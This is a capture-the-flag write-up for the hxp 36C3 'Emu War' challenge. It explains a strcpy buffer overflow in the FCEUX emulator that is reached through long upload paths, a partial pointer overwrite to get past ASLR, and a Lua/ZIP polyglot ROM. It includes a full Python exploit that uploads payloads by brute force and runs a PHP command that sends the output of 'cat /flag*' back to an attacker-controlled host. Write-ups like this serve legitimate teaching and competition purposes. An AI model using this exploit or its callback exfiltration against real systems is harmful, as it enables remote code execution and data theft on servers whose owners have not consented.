hxp 36C3 CTF: Emu War

zahjebischte, pwn (unsolved)

Time for an Emu War.

Pl0x upload your coolest ROMs, here is mine :>.

An actual emu war

Download: Emu War-35eccd2af489ec05.tar.xz (495.9 KiB)
Connection: http://78.47.138.71:65000/

This challenge allows uploading ROMs to an online service. ROMs are stored in a per-user files/$random_hex_string/ directory, as category/name (both of which are not sanitized, but PHP applies basename to the filename itself). In theory, this allows path traversal, but the challenge setup should prevent access to any critical information. However, we can control the path that is passed to the thumbnail.sh script.

thumbnail.sh seems like a lot, but all it really does is spawn Xvfb, launch fceux with the user-provided ROM, take a screenshot, and then clean up.

Within FCEUX, there are buffer overflows and calls to strcpy everywhere, so there may well be solutions that differ a little, but that is OK. The reference solution exploits a buffer overflow in iNESLoad (ines.cpp:900), where the path of the ROM file (generally argv[1]) is copied without checks into the global LoadedRomFName buffer (which is only 2048 bytes large):

Vulnerable part of the source code

To get to that point, we need to supply a valid ROM in iNES format. Because the filename is so long, we also overwrite a bunch of other globals and smash the stack in FCEUI_LoadGameVirtual, but the attack finishes before we return from that function, so the canary check is never triggered.

If the path is long enough, we overflow LoadedRomFName into the iNESCart global, which contains a function pointer as its first member (CartInfo::Power).

Overflow into function pointer

After returning from iNESLoad, FCEU_LoadGameVirtual eventually calls PowerNES(), which calls GameInterface(GI_POWER). GameInterface is a global function pointer that was set in iNESLoad to point to iNESGI, so that we ultimately end up calling iNES_ExecPower(). That function sets up the emulator’s memory and then calls iNESCart.Power():

iNES_ExecPower

To bypass ASLR, we only partially overwrite the pointer in iNESCart.Power. By default, it points to the LatchPower function (from datalatch.cpp).

Because strcpy always writes the null byte, we are somewhat limited in the number of functions we can call without bruteforcing too many bits of ASLR state. We limit ourselves to 12 bits of bruteforcing (1 in 4096 attempts, which is reasonable). In particular, we can only reach 16 pages past the start of the page on which the original function resides, but we can reach backwards quite a bit further.

This happens because we assume that our target function is in a range of pages with an address scheme of 00????. If the target is supposed to be after the original value, there are at most 0xffff locations for the original address (where everything except for the last two bytes are the same), and I could not find anything useful there. On the other hand, if we want the target to be before the original value, we can overwrite the third byte with the null byte without any issues as long as the difference between what would map to 000000 (close to our target) and the original function is less than 0x1000000 - a factor of 256 more.

The best target that I found is FCEUX’s Lua support. FCEUX runs a Lua script by calling FCEU_LoadLuaCode, but that requires a path in rdi. We can, however, jump into the middle of FCEU_ReloadLuaCode to load and run a piece of Lua code in a file named \xbe (in bash, you can instead use $'\276'):

; iNES_ExecPower
call rax

; FCEU_ReloadLuaCode
mov rsi, 0
mov rdi, rax
call FCEU_LoadLuaCode

This works because the byte representation of the mov rsi, 0 instruction is be 00 00 00 00, and rax still points to that location. Other calls to FCEU_LoadLuaCode follow exactly the same sequence, but are generally placed after the LatchPower function, so we cannot reach them. In our build, the jump target is at 0x957dd, so we end our (overflowing) path with the byte sequence dd 87 (which is also a valid UTF-8 character, in case that causes trouble). For reference, LatchPower is at 0xb7be3.

Finally, use Lua’s os.execute to obtain the flag (cat /flag_*) and leak the result. As far as I could tell, the version of Lua inside FCEUX does not support network operations, but we know that PHP is installed on the server, so we can use file_get_contents to connect back to a server controlled by the attacker:

require('os');
os.execute('php -r \'file_get_contents("http://192.0.2.42:65000/".urlencode(`cat /flag*`));\'');

The only thing missing is to find a way to keep the \xbe file on the server. Clearly, we cannot simply upload the Lua script (trying to take a screenshot would fail, so the server will remove an invalid ROM), so you need to create a file that is both valid Lua code and accepted as a ROM by FCEUX. An easy way to do this is to (ab)use FCEUX’s ability to extract ROMs from ZIP files (see the TryUnzip function at file.cpp:189):

  • Wrap the Lua script in a way that the rest of the ZIP file is commented out (e.g. start with --]] and end with --[[)
  • Store (i.e. without compression) both this Lua script and a valid ROM in a ZIP file (e.g. using Python’s zipfile module)
  • Wrap the resulting ZIP file in --[[ and --]] to comment out everything that is not the Lua script. This breaks some of the length fields inside the ZIP file, but FCEUX doesn’t really care about that.

Here is the full exploit code (you need to provide a valid NES ROM to -r; if you do not have access to one, you can use the ROM provided in the challenge description):

#!/usr/bin/env python3

import argparse
import enum
import http.server
import io
import os
import random
import socket
import string
import sys
import threading
import time
import urllib.parse
import zipfile

def as_http(string):
    return textwrap.dedent(string).lstrip('\n').encode().replace(b'\n', b'\r\n')

def random_token():
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=26))

class upload_status:
    OK = 0
    THUMBNAILER_FAILED = 1
    OTHER_ERROR = 2

def upload(rhost, rport, content, category, filename, phpsessid, mime='application/x-nes-rom'):
    boundary = random_token() # Literally whatever...
    with socket.socket(socket.AF_INET) as so:
        so.connect((rhost, rport))
        content = b'--' + boundary.encode() + b'\r\n' + \
                  b'Content-Disposition: form-data; name="category"\r\n' + \
                  b'\r\n' + \
                  category + b'\r\n' + \
                  b'--' + boundary.encode() + b'\r\n' + \
                  b'Content-Disposition: form-data; name="rom"; filename="' + filename + b'"\r\n' + \
                  b'Content-Type: ' + mime.encode() + b'\r\n' + \
                  b'\r\n' + \
                  content + b'\r\n' + \
                  b'--' + boundary.encode() + b'--\r\n'

        request = b'POST / HTTP/1.1\r\n' + \
                  b'Host: ' + rhost.encode() + b':' + str(rport).encode() + b'\r\n' + \
                  b'Cookie: PHPSESSID=' + phpsessid.encode() + b'\r\n' + \
                  b'User-Agent: hxp/3.14\r\n' + \
                  b'Accept: */*\r\n' + \
                  b'Content-Length: ' + str(len(content)).encode() + b'\r\n' + \
                  b'Content-Type: multipart/form-data; boundary=' + boundary.encode() + b'\r\n' + \
                  b'\r\n' + \
                  content

        so.sendall(request)
        response = so.recv(4096)

        if response.startswith(b'HTTP/1.1 302 Found\r\n'): # Redirects on success
            return upload_status.OK, response
        elif b'failed to create thumbnail' in response:
            return upload_status.THUMBNAILER_FAILED, response
        else:
            return upload_status.OTHER_ERROR, response

done_event = threading.Event()
print_lock = threading.Lock()
class Handler(http.server.BaseHTTPRequestHandler):
    def respond(self):
        self.send_response(204)
        self.send_header('Content-Length', '0')
        self.end_headers()
        with print_lock:
            print('[*] Handling request from', self.address_string(), file=sys.stderr)
        print(urllib.parse.unquote(self.path.lstrip('/')))
        done_event.set()
    def log_message(self, *args, **kwargs):
        pass # No logging by default.
    do_HEAD = respond
    do_GET = respond

p = argparse.ArgumentParser()
p.add_argument('-R', '--rhost', help='Address of the target (remote) host', default='localhost')
p.add_argument('-p', '--rport', help='Port on the target (remote) host', default=8019, type=int)
p.add_argument('-L', '--lhost', help='Address of the listening host from the remote target', default='127.0.0.1')
p.add_argument('-P', '--lport', help='Listening port on the local PC', default=38019, type=int)
p.add_argument('-S', '--shost', help='Address to listen on (i.e. the local address of the local host on the accessible interface)', default='0.0.0.0')
p.add_argument('-c', '--command', help='Command to execute', default='cat /flag_*')
p.add_argument('-r', '--rom', help='Valid iNES source ROM', default='zahjebischte.nes')
p.add_argument('-j', '--threads', help='Number of request threads to run simultaneously', default=8, type=int)
args = p.parse_args()

# Create upload path
DESIRED_LENGTH = 2146 # This length leads to the correct overflow size
upload_name = b'\xdd\x87' # Overflow is in the category name, because maximum filename length is 255.
path_length = len(b'/var/www/html/files/') + 64 + len(b'/') + len(b'/' + upload_name) # This is server-generated, with the category name between the last two slashes
category_base = b'Pwning'
category_name = category_base
while len(category_name) < (DESIRED_LENGTH - path_length):
    category_name += b'/'
print('[*] Path length is', len(b'/var/www/html/files/28edb8be371e48f6a178bfe05fef4f591571a37f81e393296cf4be9e5f7bdea8/' + category_name + b'/' + upload_name), file=sys.stderr)
with open(args.rom, 'rb') as rom_file:
    rom = rom_file.read()

# Create polyglot
polyglot = io.BytesIO()
lua_pwn = f"""\n--]]\nrequire('os');os.execute('php -r \\'file_get_contents("http://{args.lhost}:{args.lport}/".urlencode(`{args.command}`));\\'');\n--[[\n"""
with zipfile.ZipFile(polyglot, mode='w', compression=zipfile.ZIP_STORED) as zf:
    zf.writestr("pwn.lua", lua_pwn.encode())
    zf.write(args.rom, arcname=os.path.basename(args.rom))
polyglot = b'--[[\n' + polyglot.getvalue() + b'\n--]]\n'

# Start server
server = http.server.ThreadingHTTPServer((args.shost, args.lport), Handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.start()

# Run
index = 1
index_lock = threading.Lock()
def run(thread_id):
    global index
    rate = args.threads / 6 # 8 requests per second, but leave some space
    age = 0
    while not done_event.is_set():
        with index_lock:
            this_index = index
            index += 1

        if this_index % 100 == 0:
            with print_lock:
                print('[*] Attempt', this_index, file=sys.stderr)

        attempt_start = time.perf_counter()
        if attempt_start - age > 15 * 60:
            # 15 minutes passed, change PHPSESSID and try again
            phpsessid = random_token() # Whatever... Make the server use this as our session ID - has a valid format!
            age = attempt_start
            with print_lock:
                print('[{}] PHPSESSID ='.format(thread_id), phpsessid, file=sys.stderr)
            # Use category_base for this upload to actually make sure the ROM stays on the server.
            status, response = upload(args.rhost, args.rport, polyglot, category_base, b'\xbe', phpsessid, 'application/zip')
            if status != upload_status.OK:
                print('[!] Failed to upload polyglot', file=sys.stderr)
                print('[!] Response was', response, file=sys.stderr)
                os._exit(1)

        status, response = upload(args.rhost, args.rport, rom, category_name, upload_name, phpsessid)
        if status != upload_status.THUMBNAILER_FAILED:
            with print_lock:
                print('[!] Upload failed for attempt', this_index, file=sys.stderr)
                print('[!] Response was', response, file=sys.stderr)
        attempt_end = time.perf_counter()
        wait_time = rate - (attempt_end - attempt_start)
        if wait_time > 0:
            time.sleep(wait_time)

threads = []
for thread_id in range(args.threads - 1):
    thread = threading.Thread(target=run, args=(thread_id + 1,))
    threads.append(thread)
    thread.start()
run(args.threads) # Last thread is the main thread

for thread in threads:
    thread.join()
server.shutdown()
server_thread.join()

This will usually take a few thousand attempts, so spin it up, wait 15 minutes, and pick up your flag. Make sure, however, that you are actually listening and reachable for the back-connection (you can also listen on a server with nc and just manually interrupt the exploit when the flag shows up there in case you do not have a public IP address):

hxp{if_you_are_happy_and_you_know_it_use_strcpy}